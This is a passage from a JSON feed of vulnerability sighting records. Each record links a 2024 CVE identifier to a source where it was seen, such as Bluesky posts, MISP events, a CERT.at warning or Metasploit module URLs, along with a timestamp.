"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lops7zlnpc2n", "content": "", "creation_timestamp": "2025-05-09T06:26:32.149340Z"}, {"uuid": "20c8813b-606e-49b3-b921-aa85027d037b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lopsavn6fs2n", "content": "", "creation_timestamp": "2025-05-09T06:27:01.347019Z"}, {"uuid": "e611f3ee-0b1e-40f4-8afb-64d008bd0236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lopyqvpzek2o", "content": "", "creation_timestamp": "2025-05-09T08:23:26.331790Z"}, {"uuid": "3c2c3360-25ac-4838-a3d1-d63fb0aa8243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lorkrl4jhs25", "content": "", "creation_timestamp": "2025-05-09T23:18:29.934165Z"}, {"uuid": "adea0845-c7db-457b-83c8-19723c170922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lowcyuuogy2b", "content": "", "creation_timestamp": "2025-05-11T20:42:43.826317Z"}, {"uuid": "dbc89373-2c7c-4fc7-beeb-c4919be9bc40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/tamosan.bsky.social/post/3loxoxeigbe22", "content": "", "creation_timestamp": "2025-05-12T09:49:16.922138Z"}, {"uuid": "20b78d6c-efa2-4607-86f9-2428b9eeb80c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3loxyhuhs7c27", "content": "", "creation_timestamp": "2025-05-12T12:39:35.310652Z"}, {"uuid": "edee65dd-5289-4e79-bb46-feff5140669b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lp2ixchb5k2z", "content": "", "creation_timestamp": "2025-05-13T12:39:55.517037Z"}, {"uuid": "64678576-ff7f-41c7-9674-4a68fb3efdd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lp2j5eyaek2z", "content": "", "creation_timestamp": "2025-05-13T12:43:18.690488Z"}, {"uuid": "685fa7f2-fadf-4329-b8db-949a74c4a791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5559", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lp5cwsdqxd2p", "content": "", "creation_timestamp": "2025-05-14T15:30:12.130577Z"}, {"uuid": "8b0fa57d-9c11-4cc2-a656-baae23912895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55569", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lp63whlzmm2t", "content": "", "creation_timestamp": "2025-05-14T22:57:26.489102Z"}, {"uuid": "65828857-9290-414b-9e73-3ee7f2fdcce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3m26ucef2uc2m", "content": "", "creation_timestamp": "2025-10-02T05:50:44.235076Z"}, {"uuid": "67fd9066-a402-4cb5-ab72-c262e4368b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55653", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "7a46509e-fa1d-447d-a6a8-e18e437d0a32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55655", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-16T23:16:38.000000Z"}, {"uuid": "b0392957-806b-4c60-9ffb-e06e5e065c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "217cf432-2509-431e-adf1-d861125f3b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "94164c2d-2f13-481d-8236-bb91daae4e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55964", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "dfc9b434-588f-4893-a11f-1f1401e31370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3luucv7quyyo2", "content": "", "creation_timestamp": "2025-07-26T10:06:39.914451Z"}, {"uuid": "1722871a-fb36-4e14-beec-df003c0dd7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "9405e343-d9a6-4514-af38-fbb29169fe61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:04.000000Z"}, {"uuid": "67d4bbc9-49ed-40c0-b99c-03c9154df248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://bsky.app/profile/osintbot.bsky.social/post/3lzddy34xl22j", "content": "", "creation_timestamp": "2025-09-21T07:16:42.822868Z"}, {"uuid": "1c9a504c-5933-4406-8eee-d1f55d19f5c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://bsky.app/profile/osintbot.bsky.social/post/3lzddy34xl22j", "content": "", "creation_timestamp": "2025-09-21T07:16:42.916685Z"}, {"uuid": "34470e69-a814-4849-b2c8-4bed7a0a4297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://bsky.app/profile/osintbot.bsky.social/post/3lzddy34xl22j", "content": "", "creation_timestamp": "2025-09-21T07:16:43.011125Z"}, {"uuid": "43d2711b-0bcb-4ed1-9a30-daed3a11d6af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://www.cert.at/de/warnungen/2025/3/ransomware-gruppen-nutzen-weiterhin-kritische-fortinet-schwachstellen-warnung-vor-gepatchten-aber-bereits-kompromittierten-geraten", "content": "", "creation_timestamp": "2025-03-20T12:38:28.000000Z"}, {"uuid": "efb85e26-1db4-4590-b88a-a3a8915feb73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/bilaltariq01.bsky.social/post/3lvo2lop6ze2p", "content": "", "creation_timestamp": "2025-08-05T15:47:14.552487Z"}, {"uuid": "04280d5f-48ba-485c-9c4c-61c9a41e0fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lvpvgzgawc2t", "content": "", "creation_timestamp": "2025-08-06T09:20:42.917845Z"}, {"uuid": "ee3117d8-35ad-4761-ada9-a2993bfeefae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5539", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m6lam3aqps2s", "content": "", "creation_timestamp": "2025-11-27T01:43:34.898015Z"}, {"uuid": "29f36128-e758-4e8b-bb3a-22b0d17a64db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5540", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3m6leaellv32s", "content": "", "creation_timestamp": "2025-11-27T02:48:37.009098Z"}, {"uuid": "4d2f1471-57d4-4803-a286-55862dbaf2c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:48.000000Z"}, {"uuid": "6cd255c7-959d-4ec7-a7f8-e846d863103f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55551", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-12T13:33:28.000000Z"}, {"uuid": "516ede24-a76e-4c66-9010-7e822cb4baaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "fb0be2ac-2a92-40d1-8812-04135c13ecda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55506", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "a6f29389-2f6f-44df-b6e0-03e04d8143d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55983", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "e3ac246f-56f8-455f-8b80-fa305b85eaea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55196", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "b005698f-00b0-4b70-8aa5-1b13eaf73965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55603", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "95a0d81b-b0fb-4402-aee2-b7df06196092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55239", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "d437ca23-e473-4fa2-a45d-8f45bfebdba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55086", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "965c3e44-412c-47a0-852c-e1a966aa200d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "bf3d060d-a3a1-471d-9797-9f1d89845e1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "b47222fe-44a3-4aa4-8634-578a759ef92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55581", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-19T04:06:34.000000Z"}, {"uuid": "c2fa58e7-ebec-40c4-930b-99f6e4629273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55505", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "dd029715-16ab-4a1c-a25f-d958d130acb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55232", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "c6fa612b-4560-4bbf-893a-b718e0417b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "92126e36-7c13-48c0-8455-5d3515a4bddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55907", "type": "seen", "source": "MISP/1e8d1b5a-3537-4a30-907d-acb1720bbd18", "content": "", "creation_timestamp": "2025-08-19T18:29:28.000000Z"}, {"uuid": "58858324-a05c-446d-9274-fd2f2e8e82c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55984", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "facb97b0-3073-4d5b-a3dd-2edb178a70b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55975", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "ab781301-e2bc-4783-bf5f-137a50fcf801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55551", "type": "seen", "source": "MISP/02fb130c-7874-4693-9b66-81ed91a2e996", "content": "", "creation_timestamp": "2025-08-21T03:19:27.000000Z"}, {"uuid": "c0c4bc02-ef10-4a6d-abaf-5896947254ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55653", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:34.000000Z"}, {"uuid": "e411ba09-a31a-4932-8e35-787a27d133cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55655", "type": "seen", "source": "MISP/be792712-f638-4d7d-b62d-4f5032e86764", "content": "", "creation_timestamp": "2025-09-18T16:44:34.000000Z"}, {"uuid": "eac84de1-65f3-4818-9098-a6f4bdcd80de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55196", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:01.000000Z"}, {"uuid": "267625dd-b88c-483d-b3a8-2171daf62136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:03.000000Z"}, {"uuid": "c05dd68c-a814-49eb-bcd5-aea9bff1bcf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55506", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"}, {"uuid": "b5af6097-55a0-4590-b022-086a99fb5da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55505", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"}, {"uuid": "7631bc13-8de1-484a-b41d-379b8590b93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55086", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "f4c18299-919d-4c64-89a8-76c7e97d2fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55968", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:06.000000Z"}, {"uuid": "6daf1f14-5207-44c0-9a28-abc93edb37d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5539", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3m6m56opcns2d", "content": "", "creation_timestamp": "2025-11-27T10:15:14.322220Z"}, {"uuid": "0b35f022-67d9-4d77-ac12-e3dd57086dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:03.000000Z"}, {"uuid": "da91e1d8-a3da-4e57-bbe9-04089cc7d994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55975", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:06.000000Z"}, {"uuid": "320a3e6e-4490-4cb7-a0cf-fb1ed648c8a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55603", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:03.000000Z"}, {"uuid": "58739cc4-4ff5-4aab-8cca-6dabf066defe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55239", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:04.000000Z"}, {"uuid": "0ae06d2c-fc35-486d-a270-db1d3d1af986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55232", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:05.000000Z"}, {"uuid": "f1fad677-40b9-4efc-bdb0-c66041f66d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55983", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:06.000000Z"}, {"uuid": "2c389337-4284-4907-8e90-d2316ae13caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55984", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-16T03:45:06.000000Z"}, {"uuid": "93cd745c-cd66-4720-8576-958267eb45aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55156", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:04.000000Z"}, {"uuid": "a38703d1-df94-4562-a2e1-bd22eb3e16a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55159", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:04.000000Z"}, {"uuid": "0c676e6d-c618-4868-9acd-38f60d65c6b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55460", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:04.000000Z"}, {"uuid": "48cda5af-a46a-4efa-bf35-aa565d05fd2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55964", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb", "content": "", "creation_timestamp": "2025-04-07T14:00:17.000000Z"}, {"uuid": "7c6f059c-3510-44ee-92ec-dadcf483ac99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "4151f18b-601f-461e-bbfa-9b99abe54678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb", "content": "", "creation_timestamp": "2025-04-07T14:00:17.000000Z"}, {"uuid": "bb6a694f-37e7-49c5-bb4c-c68feef7edd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "MISP/71f05cce-2beb-4b80-8496-bbbabc032544", "content": "", "creation_timestamp": "2025-08-25T18:31:44.000000Z"}, {"uuid": "9c4a1d35-be79-48b6-85e2-073c5c5e5fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb", "content": "", "creation_timestamp": "2025-02-25T12:20:54.000000Z"}, {"uuid": "1dcc4c2a-f365-4a07-a457-a1a42023e20e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55456", "type": "seen", "source": "MISP/f7787455-9994-4047-b6f7-77347597c104", "content": "", "creation_timestamp": "2025-08-26T18:36:19.000000Z"}, {"uuid": "b0f6633d-bf09-4aee-963e-4d9d3f4ad60e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb", "content": "", "creation_timestamp": "2025-03-14T09:28:15.000000Z"}, {"uuid": "48027219-ec76-46ff-b240-5ea3934b881f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55177", "type": "seen", "source": "https://bsky.app/profile/jfreeg.bsky.social/post/3lxkpgte6m72l", "content": "", "creation_timestamp": "2025-08-29T18:40:05.803737Z"}, {"uuid": "02468e94-f81c-4ded-8806-368b0a58d5a7", "vulnerability_lookup_origin": 